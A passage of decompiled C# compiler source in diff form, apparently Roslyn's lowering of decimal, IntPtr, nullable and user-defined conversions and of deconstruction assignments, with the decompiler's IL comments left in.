typeSymbol3 = typeSymbol.GetEnumUnderlyingType(); + type = (type.IsNullableType() ? ((NamedTypeSymbol)type.OriginalDefinition).Construct(typeSymbol3) : typeSymbol3); + rewrittenOperand = BoundConversion.SynthesizedNonUserDefined(syntax, rewrittenOperand, Conversion.ImplicitEnumeration, type); + } + else if (typeSymbol2.IsEnumType()) + { + typeTo = typeSymbol2.GetEnumUnderlyingType(); + } + if (!TryGetSpecialTypeMethod(syntax, DecimalConversionMethod(typeSymbol3, typeTo), out MethodSymbol method)) + { + return BadExpression(syntax, rewrittenType, rewrittenOperand); + } + ConversionKind kind = (conversion.Kind.IsImplicitConversion() ? ConversionKind.ImplicitUserDefined : ConversionKind.ExplicitUserDefined); + return new BoundConversion(syntax, rewrittenOperand, new Conversion(kind, method, isExtensionMethod: false), @checked, explicitCastInCode, conversionGroupOpt, null, rewrittenType); + } + return new BoundConversion(syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, conversionGroupOpt, null, rewrittenType); + } + + private BoundExpression RewriteFullyLiftedBuiltInConversion(SyntaxNode syntax, BoundExpression operand, Conversion conversion, bool @checked, TypeSymbol type) + { + BoundExpression boundExpression = OptimizeLiftedBuiltInConversion(syntax, operand, conversion, @checked, type); + if (boundExpression != null) + { + return boundExpression; + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(operand, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + if (!TryGetNullableMethod(syntax, boundLocal.Type, (SpecialMember)114, out MethodSymbol result)) + { + return BadExpression(syntax, type, operand); + } + BoundExpression rewrittenCondition = MakeNullableHasValue(syntax, boundLocal); + BoundExpression rewrittenConsequence = new BoundObjectCreationExpression(syntax, UnsafeGetNullableMethod(syntax, type, (SpecialMember)117), MakeConversionNode(syntax, BoundCall.Synthesized(syntax, boundLocal, (ThreeState)0, result), conversion.UnderlyingConversions[0], type.GetNullableUnderlyingType(), @checked)); + BoundExpression rewrittenAlternative = new BoundDefaultExpression(syntax, type); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, type, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), value, type); + } + + private BoundExpression? OptimizeLiftedUserDefinedConversion(SyntaxNode syntax, BoundExpression operand, Conversion conversion, TypeSymbol type) + { + if (NullableNeverHasValue(operand)) + { + return new BoundDefaultExpression(syntax, type); + } + BoundExpression boundExpression = NullableAlwaysHasValue(operand); + if (boundExpression != null) + { + TypeParameterSymbol constrainedToTypeOpt = conversion.ConstrainedToTypeOpt; + return MakeLiftedUserDefinedConversionConsequence(BoundCall.Synthesized(syntax, ((object)constrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, constrainedToTypeOpt), (ThreeState)0, conversion.Method, boundExpression), type); + } + return DistributeLiftedConversionIntoLiftedOperand(syntax, operand, conversion, @checked: false, type); + } + + private BoundExpression? OptimizeLiftedBuiltInConversion(SyntaxNode syntax, BoundExpression operand, Conversion conversion, bool @checked, TypeSymbol type) + { + if (NullableNeverHasValue(operand)) + { + return new BoundDefaultExpression(syntax, type); + } + BoundExpression boundExpression = NullableAlwaysHasValue(operand); + if (boundExpression != null) + { + return new BoundObjectCreationExpression(syntax, UnsafeGetNullableMethod(syntax, type, (SpecialMember)117), MakeConversionNode(syntax, boundExpression, conversion.UnderlyingConversions[0], type.GetNullableUnderlyingType(), @checked)); + } + return DistributeLiftedConversionIntoLiftedOperand(syntax, operand, conversion, @checked, type); + } + + private BoundExpression? DistributeLiftedConversionIntoLiftedOperand(SyntaxNode syntax, BoundExpression operand, Conversion conversion, bool @checked, TypeSymbol type) + { + if (operand.Kind == BoundKind.Sequence) + { + BoundSequence boundSequence = (BoundSequence)operand; + if (boundSequence.Value.Kind == BoundKind.ConditionalOperator) + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)boundSequence.Value; + if (NullableAlwaysHasValue(boundConditionalOperator.Consequence) != null && NullableNeverHasValue(boundConditionalOperator.Alternative)) + { + return new BoundSequence(boundSequence.Syntax, boundSequence.Locals, boundSequence.SideEffects, RewriteConditionalOperator(boundConditionalOperator.Syntax, boundConditionalOperator.Condition, MakeConversionNode(null, syntax, boundConditionalOperator.Consequence, conversion, @checked, explicitCastInCode: false, null, type), MakeConversionNode(null, syntax, boundConditionalOperator.Alternative, conversion, @checked, explicitCastInCode: false, null, type), null, type, isRef: false), type); + } + } + } + return null; + } + + private BoundExpression RewriteUserDefinedConversion(SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, TypeSymbol rewrittenType) + { + if (rewrittenOperand.Type.IsNullableType()) + { + TypeSymbol parameterType = conversion.Method.GetParameterType(0); + if (parameterType.Equals(rewrittenOperand.Type.GetNullableUnderlyingType(), (TypeCompareKind)63) && !parameterType.IsNullableType() && parameterType.IsValueType) + { + return RewriteLiftedUserDefinedConversion(syntax, rewrittenOperand, conversion, @checked, rewrittenType); + } + } + if (_inExpressionLambda) + { + return BoundConversion.Synthesized(syntax, rewrittenOperand, conversion, @checked, explicitCastInCode: true, null, null, rewrittenType); + } + if (rewrittenOperand.Type.IsArray() && _compilation.IsReadOnlySpanType(rewrittenType)) + { + return new BoundReadOnlySpanFromArray(syntax, rewrittenOperand, conversion.Method, rewrittenType) + { + WasCompilerGenerated = true + }; + } + TypeParameterSymbol constrainedToTypeOpt = conversion.ConstrainedToTypeOpt; + return BoundCall.Synthesized(syntax, ((object)constrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, constrainedToTypeOpt), (ThreeState)0, conversion.Method, rewrittenOperand); + } + + private BoundExpression MakeLiftedUserDefinedConversionConsequence(BoundCall call, TypeSymbol resultType) + { + if (call.Method.ReturnType.IsValidNullableTypeArgument()) + { + MethodSymbol constructor = UnsafeGetNullableMethod(call.Syntax, resultType, (SpecialMember)117); + return new BoundObjectCreationExpression(call.Syntax, constructor, call); + } + return call; + } + + private BoundExpression RewriteLiftedUserDefinedConversion(SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, TypeSymbol rewrittenType) + { + if (_inExpressionLambda) + { + Conversion conversion2 = TryMakeConversion(syntax, conversion, rewrittenOperand.Type, rewrittenType, @checked); + return BoundConversion.Synthesized(syntax, rewrittenOperand, conversion2, @checked, explicitCastInCode: true, null, null, rewrittenType); + } + BoundExpression boundExpression = OptimizeLiftedUserDefinedConversion(syntax, rewrittenOperand, conversion, rewrittenType); + if (boundExpression != null) + { + return boundExpression; + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(rewrittenOperand, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + MethodSymbol method = UnsafeGetNullableMethod(syntax, boundLocal.Type, (SpecialMember)114); + BoundExpression rewrittenCondition = _factory.MakeNullableHasValue(syntax, boundLocal); + BoundCall arg = BoundCall.Synthesized(syntax, boundLocal, (ThreeState)0, method); + TypeParameterSymbol constrainedToTypeOpt = conversion.ConstrainedToTypeOpt; + BoundCall call = BoundCall.Synthesized(syntax, ((object)constrainedToTypeOpt == null) ? null : new BoundTypeExpression(syntax, null, constrainedToTypeOpt), (ThreeState)0, conversion.Method, arg); + BoundExpression rewrittenConsequence = MakeLiftedUserDefinedConversionConsequence(call, rewrittenType); + BoundExpression rewrittenAlternative = new BoundDefaultExpression(syntax, rewrittenType); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, rewrittenConsequence, rewrittenAlternative, null, rewrittenType, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), value, rewrittenType); + } + + private BoundExpression RewriteIntPtrConversion(SyntaxNode syntax, BoundExpression rewrittenOperand, Conversion conversion, bool @checked, bool explicitCastInCode, ConstantValue? constantValueOpt, TypeSymbol rewrittenType) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = rewrittenOperand.Type; + SpecialMember intPtrConversionMethod = GetIntPtrConversionMethod(type, rewrittenType); + if (!TryGetSpecialTypeMethod(syntax, intPtrConversionMethod, out MethodSymbol method)) + { + return BadExpression(syntax, rewrittenType, rewrittenOperand); + } + conversion = conversion.SetConversionMethod(method); + if (type.IsNullableType() && rewrittenType.IsNullableType()) + { + return RewriteLiftedUserDefinedConversion(syntax, rewrittenOperand, conversion, @checked, rewrittenType); + } + if (type.IsNullableType()) + { + rewrittenOperand = MakeConversionNode(rewrittenOperand, type.StrippedType(), @checked, acceptFailingConversion: false, markAsChecked: true); + } + rewrittenOperand = MakeConversionNode(rewrittenOperand, method.GetParameterType(0), @checked); + TypeSymbol returnType = method.ReturnType; + if (_inExpressionLambda) + { + return BoundConversion.Synthesized(syntax, rewrittenOperand, conversion, @checked, explicitCastInCode, null, constantValueOpt, rewrittenType); + } + BoundExpression rewrittenOperand2 = MakeCall(syntax, null, method, ImmutableArray.Create(rewrittenOperand), returnType); + return MakeConversionNode(rewrittenOperand2, rewrittenType, @checked, acceptFailingConversion: false, markAsChecked: true); + } + + public static SpecialMember GetIntPtrConversionMethod(TypeSymbol source, TypeSymbol target) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Invalid comparison between Unknown and I4 + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Invalid comparison between Unknown and I4 + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Invalid comparison between Unknown and I4 + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Invalid comparison between Unknown and I4 + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Expected I4, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Invalid comparison between Unknown and I4 + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Invalid comparison between Unknown and I4 + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Invalid comparison between Unknown and I4 + //IL_00f9: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Invalid comparison between Unknown and I4 + TypeSymbol typeSymbol = target.StrippedType(); + TypeSymbol typeSymbol2 = source.StrippedType(); + SpecialType val = (typeSymbol.IsEnumType() ? typeSymbol.GetEnumUnderlyingType().SpecialType : typeSymbol.SpecialType); + SpecialType val2 = (typeSymbol2.IsEnumType() ? typeSymbol2.GetEnumUnderlyingType().SpecialType : typeSymbol2.SpecialType); + if ((int)val == 21) + { + if (source.IsPointerOrFunctionPointer()) + { + return (SpecialMember)105; + } + if (val2 - 8 <= 5) + { + return (SpecialMember)106; + } + if (val2 - 14 <= 5) + { + return (SpecialMember)107; + } + } + else if ((int)val == 22) + { + if (source.IsPointerOrFunctionPointer()) + { + return (SpecialMember)111; + } + switch (val2 - 8) + { + case 0: + case 2: + case 4: + case 6: + return (SpecialMember)112; + case 1: + case 3: + case 5: + case 7: + case 8: + case 9: + case 10: + case 11: + return (SpecialMember)113; + } + } + else if ((int)val2 == 21) + { + if (target.IsPointerOrFunctionPointer()) + { + return (SpecialMember)102; + } + if (val - 8 <= 6) + { + return (SpecialMember)103; + } + if (val - 15 <= 4) + { + return (SpecialMember)104; + } + } + else if ((int)val2 == 22) + { + if (target.IsPointerOrFunctionPointer()) + { + return (SpecialMember)108; + } + if (val - 8 <= 6) + { + return (SpecialMember)109; + } + if (val - 15 <= 4) + { + return (SpecialMember)110; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_Conversion.cs", 1541); + } + + private static SpecialMember DecimalConversionMethod(TypeSymbol typeFrom, TypeSymbol typeTo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Expected I4, but got Unknown + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected I4, but got Unknown + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + SpecialType specialType; + if ((int)typeFrom.SpecialType == 17) + { + specialType = typeTo.SpecialType; + return (SpecialMember)((specialType - 8) switch + { + 0 => 68, + 1 => 64, + 2 => 62, + 3 => 65, + 4 => 63, + 5 => 70, + 6 => 71, + 7 => 72, + 8 => 69, + 10 => 66, + 11 => 67, + _ => throw ExceptionUtilities.UnexpectedValue((object)typeTo.SpecialType), + }); + } + specialType = typeFrom.SpecialType; + return (SpecialMember)((specialType - 8) switch + { + 0 => 54, + 1 => 58, + 2 => 53, + 3 => 55, + 4 => 59, + 5 => 56, + 6 => 60, + 7 => 57, + 8 => 61, + 10 => 74, + 11 => 73, + _ => throw ExceptionUtilities.UnexpectedValue((object)typeFrom.SpecialType), + }); + } + + private BoundExpression RewriteDecimalConversion(SyntaxNode syntax, BoundExpression operand, TypeSymbol fromType, TypeSymbol toType, bool @checked, bool isImplicit, ConstantValue? constantValueOpt) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + if ((int)fromType.SpecialType == 17) + { + SpecialType specialType = toType.SpecialType; + if (specialType - 21 <= 1) + { + operand = RewriteDecimalConversionCore(syntax, operand, fromType, get64BitType(_compilation, (int)toType.SpecialType == 21), isImplicit, constantValueOpt); + return MakeConversionNode(operand, toType, @checked); + } + } + else + { + SpecialType specialType = fromType.SpecialType; + if (specialType - 21 <= 1) + { + operand = MakeConversionNode(operand, get64BitType(_compilation, (int)fromType.SpecialType == 21), @checked); + return RewriteDecimalConversionCore(syntax, operand, operand.Type, toType, isImplicit, constantValueOpt); + } + } + return RewriteDecimalConversionCore(syntax, operand, fromType, toType, isImplicit, constantValueOpt); + static TypeSymbol get64BitType(CSharpCompilation compilation, bool signed) + { + return compilation.GetSpecialType((SpecialType)(signed ? 15 : 16)); + } + } + + private BoundExpression RewriteDecimalConversionCore(SyntaxNode syntax, BoundExpression operand, TypeSymbol fromType, TypeSymbol toType, bool isImplicit, ConstantValue? constantValueOpt) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SpecialMember specialMember = DecimalConversionMethod(fromType, toType); + if (!TryGetSpecialTypeMethod(syntax, specialMember, out MethodSymbol method)) + { + return BadExpression(syntax, toType, operand); + } + if (_inExpressionLambda) + { + ConversionKind kind = (isImplicit ? ConversionKind.ImplicitUserDefined : ConversionKind.ExplicitUserDefined); + Conversion conversion = new Conversion(kind, method, isExtensionMethod: false); + return new BoundConversion(syntax, operand, conversion, @checked: false, explicitCastInCode: false, null, constantValueOpt, toType); + } + return BoundCall.Synthesized(syntax, null, (ThreeState)0, method, operand); + } + + private Conversion TryMakeConversion(SyntaxNode syntax, Conversion conversion, TypeSymbol fromType, TypeSymbol toType, bool @checked) + { + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Invalid comparison between Unknown and I4 + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Invalid comparison between Unknown and I4 + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Invalid comparison between Unknown and I4 + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_01ca: Unknown result type (might be due to invalid IL or missing references) + //IL_01d1: Invalid comparison between Unknown and I4 + //IL_0198: Unknown result type (might be due to invalid IL or missing references) + //IL_019d: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_01db: Unknown result type (might be due to invalid IL or missing references) + //IL_01e0: Unknown result type (might be due to invalid IL or missing references) + //IL_01e4: Unknown result type (might be due to invalid IL or missing references) + switch (conversion.Kind) + { + case ConversionKind.ImplicitUserDefined: + case ConversionKind.ExplicitUserDefined: + { + MethodSymbol method5 = conversion.Method; + Conversion conversion2 = TryMakeConversion(syntax, conversion.UserDefinedFromConversion, fromType, method5.Parameters[0].Type, @checked); + if (!conversion2.Exists) + { + return Conversion.NoConversion; + } + Conversion conversion3 = TryMakeConversion(syntax, conversion.UserDefinedToConversion, method5.ReturnType, toType, @checked); + if (!conversion3.Exists) + { + return Conversion.NoConversion; + } + if (conversion2 == conversion.UserDefinedFromConversion && conversion3 == conversion.UserDefinedToConversion) + { + return conversion; + } + UserDefinedConversionResult conversionResult = UserDefinedConversionResult.Valid(ImmutableArray.Create(UserDefinedConversionAnalysis.Normal(conversion.ConstrainedToTypeOpt, method5, conversion2, conversion3, fromType, toType)), 0); + return new Conversion(conversionResult, conversion.IsImplicit); + } + case ConversionKind.IntPtr: + { + SpecialMember intPtrConversionMethod = GetIntPtrConversionMethod(fromType, toType); + if (!TryGetSpecialTypeMethod(syntax, intPtrConversionMethod, out MethodSymbol method4)) + { + return Conversion.NoConversion; + } + return TryMakeUserDefinedConversion(syntax, method4, fromType, toType, @checked, conversion.IsImplicit); + } + case ConversionKind.ImplicitNumeric: + case ConversionKind.ExplicitNumeric: + if ((int)fromType.SpecialType == 17 || (int)toType.SpecialType == 17) + { + SpecialMember specialMember3 = DecimalConversionMethod(fromType, toType); + if (!TryGetSpecialTypeMethod(syntax, specialMember3, out MethodSymbol method3)) + { + return Conversion.NoConversion; + } + return TryMakeUserDefinedConversion(syntax, method3, fromType, toType, @checked, conversion.IsImplicit); + } + return conversion; + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ExplicitEnumeration: + if ((int)fromType.SpecialType == 17) + { + NamedTypeSymbol enumUnderlyingType = toType.GetEnumUnderlyingType(); + SpecialMember specialMember = DecimalConversionMethod(fromType, enumUnderlyingType); + if (!TryGetSpecialTypeMethod(syntax, specialMember, out MethodSymbol method)) + { + return Conversion.NoConversion; + } + return TryMakeUserDefinedConversion(syntax, method, fromType, toType, @checked, conversion.IsImplicit); + } + if ((int)toType.SpecialType == 17) + { + SpecialMember specialMember2 = DecimalConversionMethod(fromType.GetEnumUnderlyingType(), toType); + if (!TryGetSpecialTypeMethod(syntax, specialMember2, out MethodSymbol method2)) + { + return Conversion.NoConversion; + } + return TryMakeUserDefinedConversion(syntax, method2, fromType, toType, @checked, conversion.IsImplicit); + } + return conversion; + default: + return conversion; + } + } + + private Conversion TryMakeConversion(SyntaxNode syntax, TypeSymbol fromType, TypeSymbol toType, bool @checked) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(); + Conversion result = TryMakeConversion(syntax, _compilation.Conversions.ClassifyConversionFromType(fromType, toType, @checked, ref useSiteInfo), fromType, toType, @checked); + ((BindingDiagnosticBag)(object)_diagnostics).Add(syntax, useSiteInfo); + return result; + } + + private Conversion TryMakeUserDefinedConversion(SyntaxNode syntax, MethodSymbol meth, TypeSymbol fromType, TypeSymbol toType, bool @checked, bool isImplicit) + { + Conversion sourceConversion = TryMakeConversion(syntax, fromType, meth.Parameters[0].Type, @checked); + if (!sourceConversion.Exists) + { + return Conversion.NoConversion; + } + Conversion targetConversion = TryMakeConversion(syntax, meth.ReturnType, toType, @checked); + if (!targetConversion.Exists) + { + return Conversion.NoConversion; + } + return new Conversion(UserDefinedConversionResult.Valid(ImmutableArray.Create(UserDefinedConversionAnalysis.Normal(null, meth, sourceConversion, targetConversion, fromType, toType)), 0), isImplicit); + } + + public override BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + BoundConversion right = node.Right; + return RewriteDeconstruction(node.Left, right.Conversion, right.Operand, node.IsUsed); + } + + private BoundExpression? RewriteDeconstruction(BoundTupleExpression left, Conversion conversion, BoundExpression right, bool isUsed) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder assignmentTargetsAndSideEffects = GetAssignmentTargetsAndSideEffects(left, instance, instance2); + BoundExpression boundExpression = RewriteDeconstruction(assignmentTargetsAndSideEffects, conversion, left.Type, right, isUsed); + Binder.DeconstructionVariable.FreeDeconstructionVariables(assignmentTargetsAndSideEffects); + if (boundExpression == null) + { + instance.Free(); + instance2.Free(); + return null; + } + return _factory.Sequence(instance.ToImmutableAndFree(), instance2.ToImmutableAndFree(), boundExpression); + } + + private BoundExpression? RewriteDeconstruction(ArrayBuilder lhsTargets, Conversion conversion, TypeSymbol leftType, BoundExpression right, bool isUsed) + { + if (right.Kind == BoundKind.ConditionalOperator) + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)right; + return boundConditionalOperator.Update(boundConditionalOperator.IsRef, VisitExpression(boundConditionalOperator.Condition), RewriteDeconstruction(lhsTargets, conversion, leftType, boundConditionalOperator.Consequence, isUsed: true), RewriteDeconstruction(lhsTargets, conversion, leftType, boundConditionalOperator.Alternative, isUsed: true), boundConditionalOperator.ConstantValueOpt, leftType, wasTargetTyped: true, leftType); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + DeconstructionSideEffects effects = DeconstructionSideEffects.GetInstance(); + BoundExpression boundExpression = ApplyDeconstructionConversion(lhsTargets, right, conversion, instance, effects, isUsed, inInit: true); + reverseAssignmentsToTargetsIfApplicable(); + effects.Consolidate(); + if (!isUsed) + { + BoundExpression boundExpression2 = effects.PopLast(); + if (boundExpression2 == null) + { + instance.Free(); + effects.Free(); + return null; + } + return _factory.Sequence(instance.ToImmutableAndFree(), effects.ToImmutableAndFree(), boundExpression2); + } + if (!boundExpression.HasErrors) + { + boundExpression = VisitExpression(boundExpression); + } + return _factory.Sequence(instance.ToImmutableAndFree(), effects.ToImmutableAndFree(), boundExpression); + static bool canReorderTargetAssignments(ArrayBuilder targets, ref PooledHashSet? visitedSymbols) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + Enumerator enumerator = targets.GetEnumerator(); + while (enumerator.MoveNext()) + { + Binder.DeconstructionVariable current = enumerator.Current; + BoundExpression single = current.Single; + Symbol item; + if (single != null) + { + if (single is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && (int)localSymbol.RefKind == 0) + { + item = localSymbol; + goto IL_007e; + } + } + else if (single is BoundParameter boundParameter) + { + ParameterSymbol parameterSymbol = boundParameter.ParameterSymbol; + if ((object)parameterSymbol != null && (int)parameterSymbol.RefKind == 0) + { + item = parameterSymbol; + goto IL_007e; + } + } + else if (single is BoundDiscardExpression) + { + continue; + } + return false; + } + if (!canReorderTargetAssignments(current.NestedVariables, ref visitedSymbols)) + { + return false; + } + continue; + IL_007e: + if (visitedSymbols == null) + { + visitedSymbols = PooledHashSet.GetInstance(); + } + if (!((HashSet)(object)visitedSymbols).Add(item)) + { + return false; + } + } + return true; + } + void reverseAssignmentsToTargetsIfApplicable() + { + PooledHashSet visitedSymbols = null; + if (right != null) + { + if (right.Kind == BoundKind.ConvertedTupleLiteral) + { + goto IL_0042; + } + if (right is BoundConversion boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand != null && operand.Kind == BoundKind.ConvertedTupleLiteral) + { + goto IL_0042; + } + } + } + bool flag = false; + goto IL_0048; + IL_0048: + if (flag && effects.init.Any() && canReorderTargetAssignments(lhsTargets, ref visitedSymbols)) + { + effects.assignments.ReverseContents(); + } + visitedSymbols?.Free(); + return; + IL_0042: + flag = true; + goto IL_0048; + } + } + + private BoundExpression? ApplyDeconstructionConversion(ArrayBuilder leftTargets, BoundExpression right, Conversion conversion, ArrayBuilder temps, DeconstructionSideEffects effects, bool isUsed, bool inInit) + { + ImmutableArray rightParts = GetRightParts(right, conversion, temps, effects, ref inInit); + ImmutableArray<(BoundValuePlaceholder, BoundExpression)> deconstructConversionInfo = conversion.DeconstructConversionInfo; + ArrayBuilder val = (isUsed ? ArrayBuilder.GetInstance(leftTargets.Count) : null); + for (int i = 0; i < leftTargets.Count; i++) + { + (BoundValuePlaceholder, BoundExpression) tuple = deconstructConversionInfo[i]; + BoundValuePlaceholder item = tuple.Item1; + BoundExpression item2 = tuple.Item2; + ArrayBuilder nestedVariables = leftTargets[i].NestedVariables; + BoundExpression boundExpression; + if (nestedVariables != null) + { + boundExpression = ApplyDeconstructionConversion(nestedVariables, rightParts[i], BoundNode.GetConversion(item2, item), temps, effects, isUsed, inInit); + } + else + { + BoundExpression boundExpression2 = rightParts[i]; + if (inInit) + { + boundExpression2 = EvaluateSideEffectingArgumentToTemp(boundExpression2, effects.init, temps); + } + BoundExpression single = leftTargets[i].Single; + boundExpression = EvaluateConversionToTemp(boundExpression2, item, item2, temps, effects.conversions); + if (single.Kind != BoundKind.DiscardExpression) + { + effects.assignments.Add(MakeAssignmentOperator(boundExpression.Syntax, single, boundExpression, single.Type, used: false, isChecked: false, isCompoundAssignment: false)); + } + } + val?.Add(boundExpression); + } + if (isUsed) + { + NamedTypeSymbol type = NamedTypeSymbol.CreateTuple(null, ArrayBuilderExtensions.SelectAsArray(val, (Func)((BoundExpression e) => TypeWithAnnotations.Create(e.Type))), default(ImmutableArray), default(ImmutableArray), _compilation, shouldCheckConstraints: false, includeNullability: false, default(ImmutableArray), (CSharpSyntaxNode)(object)right.Syntax, _diagnostics); + return new BoundConvertedTupleLiteral(right.Syntax, null, wasTargetTyped: false, val.ToImmutableAndFree(), default(ImmutableArray), default(ImmutableArray), type); + } + return null; + } + + private ImmutableArray GetRightParts(BoundExpression right, Conversion conversion, ArrayBuilder temps, DeconstructionSideEffects effects, ref bool inInit) + { + DeconstructMethodInfo deconstructionInfo = conversion.DeconstructionInfo; + if (!deconstructionInfo.IsDefault) + { + BoundExpression target = EvaluateSideEffectingArgumentToTemp(right, inInit ? effects.init : effects.deconstructions, temps); + inInit = false; + return InvokeDeconstructMethod(deconstructionInfo, target, effects.deconstructions, temps); + } + if (IsTupleExpression(right.Kind)) + { + return ((BoundTupleExpression)right).Arguments; + } + if (right.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)right; + if ((boundConversion.Conversion.Kind == ConversionKind.ImplicitTupleLiteral || boundConversion.Conversion.Kind == ConversionKind.Identity) && IsTupleExpression(boundConversion.Operand.Kind)) + { + return ((BoundTupleExpression)boundConversion.Operand).Arguments; + } + } + if (right.Type.IsTupleType) + { + inInit = false; + return AccessTupleFields(VisitExpression(right), temps, effects.deconstructions); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_DeconstructionAssignmentOperator.cs", 325); + } + + private static bool IsTupleExpression(BoundKind kind) + { + if (kind != BoundKind.TupleLiteral) + { + return kind == BoundKind.ConvertedTupleLiteral; + } + return true; + } + + private ImmutableArray AccessTupleFields(BoundExpression expression, ArrayBuilder temps, ArrayBuilder effects) + { + TypeSymbol? type = expression.Type; + int length = 